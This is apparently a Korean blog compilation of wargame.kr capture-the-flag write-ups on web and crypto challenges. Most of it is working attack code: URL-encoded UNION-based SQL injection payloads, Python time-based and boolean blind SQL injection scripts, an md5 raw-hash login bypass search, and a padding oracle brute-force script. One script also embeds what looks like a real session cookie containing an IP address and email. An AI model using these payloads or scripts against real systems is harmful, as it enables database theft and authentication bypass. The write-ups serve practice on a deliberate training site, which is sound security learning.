c# 디컴파일러를 사용해서 보면 

private static void Main(string[] args)
{
    Console.Write("Input your name : ");
    string name = Console.ReadLine();
    Console.Write("Password : ");
    string str2 = myEncrypt(Console.ReadLine(), name);
    if ((name == "BluSH4G") && myCmp(str2, getps(name)))
    {
        Console.WriteLine("\n::Congratulation xD ::\n");
    }
    else
    {
        Console.WriteLine("\n:: WTF AUTH FAILED ::\n");
    }
}

코드를 보면 입력받은 name과 password를 myEncrypt함수로 암호화해서 getps로 가져온 password와 비교한다

getps함수를 보면 서버에서 get form으로 name을 보내면 암호화된 문자열이 나오는데 그 문자열을 encrypt한 문자열과 비교한다.

encrypt는 key가 name인 des연산이고

online decryption site에서 key를 넣어주고 돌려주면 키가 나온다.


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]adm1nkyj  (2) 2017.03.03
[wargame.kr]Qna  (1) 2017.03.03
[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25

다행히 '를 막아놓지 않았음 이를 이용해서 id와 password는 쉽게 알수 있는데


<password>

id=%27%20union%20select%201%2c&pw=%2c3%2c4%2c5%2

xPw4coaa1sslfe

!@SA#$!


<id>

adm1ngnngn

id=%27||1%23



문제는 flag.. as(alias)를 이용한다

select 1,t,3,4 from (select 1,2,3,4 as t union select * from web) as tt;

이런식의 쿼리를 쓰면 칼럼의 위치만 알아도 원하는 칼럼을 출력할 수 있다.

as를 잘 이해하면 저 쿼리를 이해할 수 있다.


<flag>

buhyH3XvBVPJKmnx9F8sLzRp2USTCcOotZ67IgQND5WYdi40alwrkqAEfGMe1j

id=%27%20union%20select%201%2cq%2c3%2c4%2c5%20from%20(select%201%2c2%2c3%2c4%20as%20q%20%2c5%20union%20select%20*%20from%20findflag%5f2)%20as%20t%20limit%201%2c1%23


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]Crypto Crackme Basic  (0) 2017.03.08
[wargame.kr]Qna  (1) 2017.03.03
[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25

toJSmaster 메뉴에서 type등 여러 parameter가 post방식으로 전송되는데 type을 이용했다.

type=if(***,sleep(10),0) 으로 줘서 ㄱㄱ 



import http.client
import string
from urllib import parse
import time
char='0123456789'+string.ascii_letters+'_-+=~!@#$%^&*(),.?/][{}()'
def blind(q):
	con=http.client.HTTPConnection('wargame.kr:8080')
	head={'Content-type': 'application/x-www-form-urlencoded','Accept': 'text/plain','Cookie':'chat_id=admin&ci_session=a%3A11%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%220187213e7d32f2fa412fd125819038f7%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22175.192.180.13%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F56.0.2924.87+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1488460400%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22shnec%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22sh3077k%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2213400%22%3Bs%3A14%3A%22last_auth_time%22%3Bi%3A1488459621%3B%7Dbcdd3ec89a464540180207d0b8cc5ce78a10c026&PHPSESSID=ntplo3lmasflgra1r3vavqa6h2'}
	params=parse.urlencode({'cont':'aaaa','mail':'guest','type':q})
	con.request('POST','/qna/?page=to_jsmaster',params,headers=head)
	t1=time.time()
	res=con.getresponse().read()
	t2=time.time()
	#print(res)
	return t2-t1>7

def table(n):
	for i in range(n):
		ans=''
		for j in range(1,8):
			for c in char:
				qq='if((select ascii(substr(table_name,{},1)) from information_schema.tables where table_type=0x62617365207461626c65 limit {},1)={},sleep(5),0)'.format(j,i,ord(c))
				if blind(qq):
					ans+=c
					print('[*]find '+ans)
		print('[**]table_name : '+ans)
def key(column,table,length):
	ans=''
	for i in range(1,length+1):
		for c in char:
			qq='if((select ascii(substr({},{},1)) from {})={},sleep(10),0)'.format(column,i,table,ord(c))
			if blind(qq):
				ans+=c
				print('[*]find{} '.format(i)+ans)
				break
	print('[***]key : '+ans)


#table count : 2
#type=if((select length(table_name) from information_schema.tables where table_type=0x62617365207461626c65 limit 1,1)>0,sleep(5),0)
#table_length : first table=7 secondtable=7
#type=if((select length(table_name) from information_schema.tables where table_type=0x62617365207461626c65 limit 1,1)=7,sleep(5),0)
#table1 : authkey & column : authkey(guessing) & authkey length=40 | table2 : mqessage

table(2)
key('authkey','authkey',40)

'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]Crypto Crackme Basic  (0) 2017.03.08
[wargame.kr]adm1nkyj  (2) 2017.03.03
[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25

ip log table을 누르면 나오는 페이지를 이용해서 blind sql injection 하면 된다. if문을 이용했다.



import http.client import string from urllib import parse import time def blind(q): con=http.client.HTTPConnection('wargame.kr:8080') head={'Content-type': 'application/x-www-form-urlencoded','Accept': 'text/plain','Cookie':XXXX} params=parse.urlencode({'idx':q}) con.request('POST','/ip_log_table/chk.php',params,headers=head) res=con.getresponse().read() #print(res) return b'2017' in res char='~!@#$%^&*()-,.[]_0123456789'+string.ascii_letters def table_find(): ans='' for c in range(1,2): for i in range(1,12): for j in char: #print(ans) q='if((select ascii(substr(table_name,{},1)) from information_schema.tables where table_type=0x62617365207461626c65 limit {},1)={},17122,0)'.format(i,c,ord(j)) if blind(q): ans+=j print('[*]find '+ans) break print('[**]table_name '+ans) ans='' def idps_find(obj): ans='' for i in range(1,10): for j in char: #print(ans) q='if((select ascii(substr({},{},1)) from admin_table)={},17122,0)'.format(obj,i,ord(j)) #print(q) if blind(q): ans+=j print('[*]find '+ans) break print('[**]'+obj+' '+ans) #table 갯수=2 #if((select length(table_name) from information_schema.tables where table_type=0x62617365207461626c65 limit 2,1)>0,17122,0) #first table length=11, second table length=8 table_find() #table_name 1 : admin_table, ip_table #admin_table id length = 10, ps length=10 idps_find('id') idps_find('ps')


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]adm1nkyj  (2) 2017.03.03
[wargame.kr]Qna  (1) 2017.03.03
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24

order by 를 이용한 sql injection인데

참고 : http://n3015m.tistory.com/173

order by (select 1) 같이 쿼리문이 들어갈 수 있고

order by (select 1 from guys_tbl where XXXXX) 했을 때 XXXX가 참이면 select문 결과가 여러 row로 나오게 되고 그러면

전체 쿼리문이 false 가 된다.

이를 이용한 스크립트 

아 post에서 content-type 헤더를 깜박해서 삽질햇당 ㅠ 멍청..ㅠ


import http.client import string from urllib import parse import time def blind(q): con=http.client.HTTPConnection('wargame.kr:8080') head={'Content-type': 'application/x-www-form-urlencoded','Accept': 'text/plain','Cookie':####} params=parse.urlencode({'sort':',(select 1 from guys_tbl where '+q+') desc'}) con.request('POST','/lonely_guys/index.php',params,headers=head) res=con.getresponse().read() #print(res) return b'jacob' in res #test #blind('desc') char='0123456789'+string.ascii_letters ## length ### #(select%201%20from%20guys_tbl%20where%20(select%20length(authkey) from authkey)=40)%20des leng=40 print(char) ans='' for i in range(0,41): for j in char: #print(ans) q='(select ascii(substr(authkey,{},1)) from authkey)={}'.format(i,ord(j)) if not blind(q): ans+=j print('[*]find '+ans) break print(ans)


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]Qna  (1) 2017.03.03
[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]md5_password  (0) 2017.02.24

search_cols에 preg_match에 속하지 않는 값을 넣고 

$_SERVER['QUERY_STRING'덕분에 $query_parts를 조작가능


where_clause=query_parts이므로 여기에 union문을 넣어주자


http://wargame.kr:8080/dmbs335/?search_cols=111&keyword=0&query_parts=0%20union%20select%201,2,3,table_name%20from%20information_schema.tables&operator=or


table_name=Th1s_1s_Flag_tbl


http://wargame.kr:8080/dmbs335/?search_cols=111&keyword=0&query_parts=0%20union%20select%201,2,3,column_name%20from%20information_schema.columns&operator=or


colum_name=f1ag


http://wargame.kr:8080/dmbs335/?search_cols=111&keyword=0&query_parts=0%20union%20select%201,2,3,f1ag%20from%20Th1s_1s_Flag_tbl&operator=or

'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]ip_log_table  (0) 2017.03.02
[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]md5_password  (0) 2017.02.24
[wargame.kr]web_chatting - sql_injection  (0) 2017.02.20

idx에 union으로 sql injection 해주면 되는데

cookie값도 idx와 같이 바꾸어줘야한다

첫번쨰 쿼리

5 union select table_name,2,3,4 from information_schema.tables where table_type='base table' limit 0,1#

'base table'은 hex로 바꿔주고

5%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%20where%20table_type=0x62617365207461626c65%20limit%200,1#


-> table명 README


두번째 쿼리

5 union select column_name,2,3,4 from information_schema.columns where table_name='README'#

5 union select column_name,2,3,4 from information_schema.columns where table_name=0x524541444d45#


-> column명 flag


세번째 쿼리

5 union select 1,2,3,flag from README#


-> flag

'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]md5_password  (0) 2017.02.24
[wargame.kr]web_chatting - sql_injection  (0) 2017.02.20
[wargame.kr]dun_worry_about_the_vase - oracle padding attack  (0) 2017.02.20

md5('value',true)

md5함수의 두번째 인자에 true가 들어가면 byte형식으로 hash결과가 나온다는 것이다.

이는 특수문자가 결과값으로 나올수도 있다는 말인데

python으로 치면

md5().hexdigest()와 md5().digest()의 차이이다.


아무튼 결과값이 asdfg'='qwer

이런식으로 '=' 가 들어가게 되면 

$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));


여기서 "select * from admin_password where password='"asdfg'='qwer"'" 

처럼 되어서 '"asdfg'='qwer"' -> 결과값 0이 되고 password=0을 비교하는데 typecasting과정에서 password를 int로 캐스팅하면((int)문자열=0)

 0=0 , 즉 참이 된다.


'='찾는 코드

import time
import string
import hashlib

def search():
    s='0123456789'
    s+=string.ascii_letters
    for i in s:
        for j in s:
            for l in s:
                for k in s:
                    a=i+j+l+k
                    if b'\'=\'' in hashlib.md5(a.encode()).digest():
                        print(a)
                        time.sleep(5)

search()


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]web_chatting - sql_injection  (0) 2017.02.20
[wargame.kr]dun_worry_about_the_vase - oracle padding attack  (0) 2017.02.20

로그인하면 채팅 페이지가 뜬다



소스를 보면 

ni값을 확인해서 tni와 ni값이 다르면 chatview.php에 접근하는데

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1로 들어가보면

chatting기록들이 뜬다.

ni로 sql injection이 가능한데

처음에 blind sql injection인줄 알고 엄청 돌리다가 (되긴함)

돌리면서 union 넣어봣는데 됨..

가장 아래에 그 결과가 뜬다.


칼럼수 5개 맞춰주고

select table_name,1,2,3,4 from information_schema.tables;

select column_name,1,2,3,4 from information_schema.columns

select (column) from (table )


삽질했던

*** blind injection code


import http.client import string from urllib import parse def blind(q): con=http.client.HTTPConnection('wargame.kr:8080') head={'Cookie':'chat_id=admin&ci_session='} q=parse.quote(q) con.request('GET','/web_chatting/chatview.php?t=1&ni=if('+q+',1,@)',headers=head) res=con.getresponse().read() #print(res) return b'111111111111111' in res print(blind('1=1')) table_length=[] i=1 while(1): if not blind('(select length(table_name) from information_schema.tables limit {},1)>0'.format(i)): break for j in range(1,11): if blind('(select length(table_name) from information_schema.tables limit {},1)={}'.format(i,j)): table_length.append(j) print(j) break i+=1 print(table_length) table_name=[] arr='0123456789'+string.ascii_letters for i in range(len(table_length)): arr='' for j in range(table_length[i]): for a in arr: if blind('(select ascii(substring(table_name,{},1)) from information_schema.tables limit {},1)={}'.format(j,i,ord(a))): arr+=a table_name.append(arr) print(table_name)


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]md5_password  (0) 2017.02.24
[wargame.kr]dun_worry_about_the_vase - oracle padding attack  (0) 2017.02.20

Padding_Oracle_Attack_by_laughfool (2).pdf

(laughfool님 문서)

http://linkc.tistory.com/164


이공격은 간단히 말하자면 cbc모드에서 intermediary value를 알아내는 공격이다. 

cbc모드의 암호화는 

첫번째 블록에서

(평문)---(어떤 암호알고리즘ex)3-des)--(1차 암호문-intermediary value)---(xor initialization vector)---(최종 암호문)

의 형태로 이루어져있다.(두번쨰 블록은 위에서 initialization vector대신 바로 이전 블록의 암호문과 xor한다)

암호문은 IV(initialization vector)-CyrptBlock1-CryptBlock2-...

이런식으로 결과가 나온다.

intermediary value를 알게되면 잘하면 평문에서 처음 사용한 알고리즘을 추측해 낼 수 있고 다양한 변형이 가능하다

공격하는 방법은 padding을 이용하는데

위의 문서에 잘 나와있다. 

padding이 실패하면 웹페이지에서는 500error를 주는데 이를 이용한다.

padding을 0x1~0x8까지 되어있다고 가정하면서 initial vector를 초기 00000000에서 뒤에서 부터 한바이트씩 브루트 포싱한다.

(brutefocing)IV+C1

같은 식으로 암호문 쿼리를 날려주면서 브루트 포싱한다


import http.client import base64 import binascii

def brute(cookie): con=http.client.HTTPConnection('wargame.kr:8080')

session='' head={'Cookie':'L0g1n='+cookie+';'+'ci_session=session} head['Upgrade-Insecure-Requests']=1 con.request('GET','/dun_worry_about_the_vase/index.php',headers=head) return b'error' in con.getresponse().read() def upack(_str): _list=[] for i in range(int(len(str)/2)): _list.append('0x'+str[i*2]+str[i*2+1]) return _list def pack(_l): arr=binascii.unhexlify(list(map(lambda x:hex(int(0x12))[2:],_l))) arr=base64.b64encode(c1) return arr c1=b'5mBvCT0sqhI=' c2=b'fE5wkGZreEs=' c1=upack(base64.b64decode(c1).hex()) c2=upack(base64.b64decode(c2).hex()) print(c1)#,c2) lv=[0,0,0,0,0,0,0,0] bf=list(x for i in range(0x100)) bf='\x01\x02\x03\x04\x05\x06\x07\x08\x09abcdefghijklmnopqrstuwvxyz' for i in range(7,0,-1): for j in bf: a=c1 lv[i]=j for l in range(8): a[i]^=lv[i] if(brute(pack(a)+pack(c2))): lv[i]=j print(lv) break print(lv) #lv='guest\x3\x3\x3' #admin=c1^lv^'adkmin\x3\x3\x3'+c2


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]md5_password  (0) 2017.02.24
[wargame.kr]web_chatting - sql_injection  (0) 2017.02.20

+ Recent posts